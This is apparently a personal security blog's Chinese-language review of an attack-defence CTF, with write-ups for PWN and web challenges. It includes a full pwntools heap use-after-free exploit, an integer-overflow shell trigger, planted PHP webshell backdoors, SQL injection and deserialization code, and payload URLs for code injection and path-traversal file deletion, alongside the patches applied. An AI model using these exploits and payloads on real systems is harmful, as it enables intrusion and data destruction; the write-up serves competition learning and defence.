文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-07-04   1.8k

星盟6月AWD复盘——web+pwn

PWN由队内gamous师傅和remila师傅撰写

PWN

PWN1

ida没法反编译,造成了很大的困扰,可以看到有选项1有一个明显的栈溢出,而且直接输出的话也有残留指针,但只有一次机会,提高了利用难度,修复的话直接把read的值改了
game是patch两次game的elf之后设置权限执行,直接把patch的赋值nop掉了
然后是一个notepad,堆上常见的玩法

没能及时写出exp且花了太多时间在这题上
在notepad上delte_mark有一个uaf,脚本上show_mark的函数一直写错成delte_mark没注意到,错过了一堆flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
sh = process('./pwn')
context.log_level = 'debug'
#gdb.attach(sh)
sh.recvuntil('Your option:')
sh.sendline('3')
elf = ELF('./pwn')
libc = elf.libc
def new(size, content1, content2):
sh.recvuntil('-> ')
sh.sendline('new')
sh.recvuntil('-> note size:')
sh.sendline(str(size))
sh.recvuntil('-> note name:')
sh.sendline(content1)
sh.recvuntil('-> note content:')
sh.sendline(content2)

def edit(idx, content1, content2):
sh.recvuntil('-> ')
sh.sendline('edit')
sh.recvuntil('-> note index:')
sh.sendline(str(idx))
sh.recvuntil('-> note name:')
sh.sendline(content1)
sh.recvuntil('-> note content:')
sh.sendline(content2)
def delete(idx):
sh.recvuntil('-> ')
sh.sendline('delete')
sh.recvuntil('-> note index:')
sh.sendline(str(idx))
def show(idx):
sh.recvuntil('-> ')
sh.sendline('show')
sh.recvuntil('-> note index:')
sh.sendline(str(idx))

def mark(idx, content):
sh.recvuntil('-> ')
sh.sendline('mark')
sh.recvuntil('-> index of note you want to mark:')
sh.sendline(str(idx))
sh.recvuntil('-> mark info:')
sh.sendline(content)

def edit_mark(idx, content):
sh.recvuntil('-> ')
sh.sendline('edit_mark')
sh.recvuntil('-> mark index:')
sh.sendline(str(idx))
sh.recvuntil('-> mark content:')
sh.sendline(content)

def show_mark(idx):
sh.recvuntil('-> ')
sh.sendline('show_mark')
sh.recvuntil('-> mark index:')
sh.sendline(str(idx))

def delete_mark(idx):
sh.recvuntil('-> ')
sh.sendline('delete_mark')
sh.recvuntil('-> mark index:')
sh.sendline(str(idx))
new(0x100, 'aaaaaaa', 'aaaaaa') #0
#gdb.attach(sh)
mark(0, 'aaaa')
delete_mark(0)
new(0x10, 'aaaaaa', p32(0) * 2 + p32(0x0804BFC4) + p32(0x08048810))#1
show_mark(0)
libc_base = u32(sh.recvn(4)) - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
edit(1, 'a', p32(0) * 2 + p32(bin_sh_addr) + p32(system))
show_mark(0)

print(hex(libc_base))
#gdb.attach(sh)
sh.interactive()

PWN2

pwn2从难度上比pwn1简单不少,可惜在pwn1上看的太久,没注意pwn2放题,错过了好多白花花的flag

第一个洞 backdoor

利用

输入+1等于0即可执行system
unsigned int整数上溢即可达到0

1
2
3
4
p=remote(ip,port)
p.sendline(str(4294967295))
p.sendline("/bin/sh")
p.sendline("cat flag")
修复

改case的值或者nop掉system都可

第二个洞 delete_order

利用

free后没有置NULL肯定是UAF

修复

简单粗暴nop掉free了
当然正确做法应该是jmp出去用补上置NULL的过程

第三个洞 comment

1
2
3
4
5
6
7
8
9
puts("Size:");
scanf("%d", &v1);
buf = malloc(v1);
puts("Your name:");
read(0, buf, v1);
write(1, buf, v1);
puts("Comments:");
scanf("%s", &format);
printf(&format);
利用

格式化字符串

修复

用puts替代printf避免格式化解析

第四个洞 order

1
2
3
4
5
6
7
8
9
10
puts("Your name:");
buf = malloc(0x10uLL);
read(0, buf, 0x10uLL);
puts("Size:");
scanf("%d", &size);
if ( (unsigned int)size <= 0x50 )
{
puts("Baozi name:");
v5 = malloc((unsigned int)size);
scanf("%s", v5)
利用

使用scanf("%s",&x)的方式读入字符串,存在溢出
堆溢出

修复

nop!
正确做法应该是jmp出去用fgets或者read替代读入有限长度的字符串

WEB

web1

链接:https://pan.baidu.com/s/1JPDSOLIH13nJfsx-8YScvA
提取码:9nln

web1留下来的版本是我修复之后,有的漏洞不太能想的起来。。

预留后门

后门1

1
2
3
4
5
6
7
// admin/header.php
<?php
$p=$_GET['p'];
echo $p;
$q=exec($p);
var_dump($q);
?>

后门2

1
2
3
4
5
6
7
8
// admin/footer.php
<?php
$shell=$_POST['shell'];
system($shell);
if($shell !=""){
exit();
}
?>

后门3

1
2
3
4
5
6
7
8
// footer.php
<?php
$shell=$_POST['shell'];
system($shell);
if($shell !=""){
exit();
}
?>

SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
// search.php
<?php
include 'header.php';
include_once('config.php');
if (!empty($_GET['id'])) {
$id=$_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
$data = mysqli_query($dbc,$query);
}
$com = mysqli_fetch_array($data);
var_dump($com);
?>

修复:

1
2
3
4
5
$filter = "regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|-";

if((preg_match("/".$filter."/is",$id)== 1)){
die();
}

反序列化

这个比赛的时候时间比较紧张,感觉反序列化的参数是不可控的,结束后复盘感觉应该可以结合上面的SQL注入漏洞一起利用,先删除news表原有的记录,然后插入反序列化后的字符串,可以造成任意文件读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// contact.php
<?php class Test {
public $f = "index.php";
public $g = "fi";
public $h = "le";
public $i = "_g";
public $j = "et_c";
public $k = "ont";
public $l = "ents";
public function __wakeup() {
$qw=$this->g . $this->h . $this->i . $this->j . $this->k . $this->l;
var_dump($qw($this->f));
}
}
$e = "un";
$f = "se";
$g = "ri";
$h = "al";
$i = "ize";
$query = "SELECT * FROM news;";
$data = mysqli_query($dbc,$query);
while($t = mysqli_fetch_array($data)) {
$qwe=$e.$f.$g.$h.$i; $qwe($t[1]);
}
?>

还有一个可疑的点:

1
2
3
4
5
6
7
8
9
10
// services.php
<?php class User {
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user->name = ''.$_POST['frame'];
?>

web3

链接:https://pan.baidu.com/s/1AYZftYQ8nQyMHx7-1XSn7g
提取码:vcr0

web1玩的有点心态崩了。。。。

弱口令

1
admin/admin

文件包含

1
/example2.php?page=flag

预置flag

1
2
3
4
5
6
7
// core/features/userlist.php
$fi = fopen(strrev("galf/"),"r");
$sss= "<!--".strrev(base64_encode(fread($fi,256)))."-->";
fclose($fi);
.....
if (strpos($user_flags,'s') !== false)
$th .= '<td'.$bg.'>'.$sss.'</td>';

payload:

1
shows.php?imod=userlist&user_flags=s

任意文件内容写入

第一处

1
2
3
4
5
6
7
// inc/wizards.php
foreach ($_REQUEST['language'] as $ks => $vs){
// a=>1\";phpinfo();//
// $lang["a"] = " . str_replace('"', '\"', '1\";phpinfo();//');
// $lang["a"] = "1\\";phpinfo();//
fwrite($lx, '$lang["'.$ks.'"] = "'.str_replace('"', '\"', $vs).'";'."\n");
}

payload:

1
/index.php?mod=wizard&action=language&language[a]=1\%22;phpinfo();//

第二处

1
2
3
4
5
6
7
8
9
10
11
// inc/wizards.php
$handler = fopen(SERVDIR."/cdata/rss_config.php", "w") or msg("error", lang('Error!'), "Can not open file ./cdata/rss_config.php");
fwrite($handler, "<?PHP \n\n//RSS Configurations (Auto Generated file)\n\n");

fwrite($handler, "\$rss_news_include_url = \"".htmlspecialchars($rss_news_include_url)."\";\n\n");
fwrite($handler, "\$rss_title = \"".htmlspecialchars($rss_title)."\";\n\n");
fwrite($handler, "\$rss_encoding = \"".htmlspecialchars($rss_encoding)."\";\n\n");
fwrite($handler, "\$rss_language = \"".htmlspecialchars($rss_language)."\";\n\n");

fwrite($handler, "?>");
fclose($handler);

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/index.php?mod=wizard&action=dosaverss&rss_news_url=http://example.com&rss_title=assert&rss_encode=$_GET[1]&rss_language=${rss_title($rss_encode)}

````

#### 任意文件删除

```php=
// inc/images.php
elseif ($action == "doimagedelete")
{
CSRFCheck();

if(!isset($images))
msg("info", lang("No Images selected"), lang("You must select images to be deleted"), '#GOBACK');

foreach ($images as $image)
unlink(SERVDIR."/uploads/".$image) or print(lang("Could not delete image")." <b>$file</b>");

msg("info", lang("Image(s) Deleted"), lang("The image was successfully deleted"), '#GOBACK');

}

payload:

1
/index.php?mod=iamges&action=doimagedelete&images[1]=../index.php
Copyright © ca01h 2019-2020 | 本站总访问量